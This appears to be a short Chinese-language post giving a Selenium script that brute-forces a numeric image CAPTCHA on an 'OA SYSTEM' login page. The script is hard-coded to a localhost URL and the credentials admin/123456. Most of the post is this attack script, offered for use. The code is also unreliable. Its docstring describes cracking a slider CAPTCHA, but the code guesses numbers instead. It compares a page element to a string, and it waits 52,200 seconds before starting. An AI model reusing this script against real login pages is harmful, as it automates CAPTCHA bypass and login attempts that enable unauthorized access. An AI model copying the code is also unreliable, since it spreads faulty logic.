图片验证吗是数字的情况

实现方式直接暴力破解循环写入就行

from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
import time


class CrackSlider(object):
    """
    通过浏览器截图，识别验证码中缺口位置，获取需要滑动距离，并模仿人类行为破解滑动验证码
    """

    def __init__(self):
        self.url = 'http://locahost:8080/'
        self.driver = webdriver.Chrome()
        self.wait = WebDriverWait(self.driver, 20)
        self.zoom = 1

    def open(self):
        self.driver.get(self.url)

    def longin_info(self):
        time.sleep(52200)  # 时间是秒 到达指定时间自动执行
        self.driver.maximize_window()
        # 输入账号密码
        self.driver.find_element_by_id("loginname").send_keys("admin")
        self.driver.find_element_by_id("password").send_keys("123456")
        for i in range(-10, 100):
            self.driver.find_element_by_id('code').clear() 
            self.driver.find_element_by_id('code').send_keys(i)
            time.sleep(1)
            # 点击登陆
            self.driver.find_element_by_id("to-recover").click()
            time.sleep(5)
            try:
                su = self.driver.find_element_by_xpath("//*[contains(@class,'alert alert-block alert-success')]")
                if su == '欢迎使用  OA SYSTEM 系统':
                    print("登陆成功")
                break
            except:
                print("登陆失败")


if __name__ == '__main__':
    cs = CrackSlider()
    cs.open()
    cs.longin_info()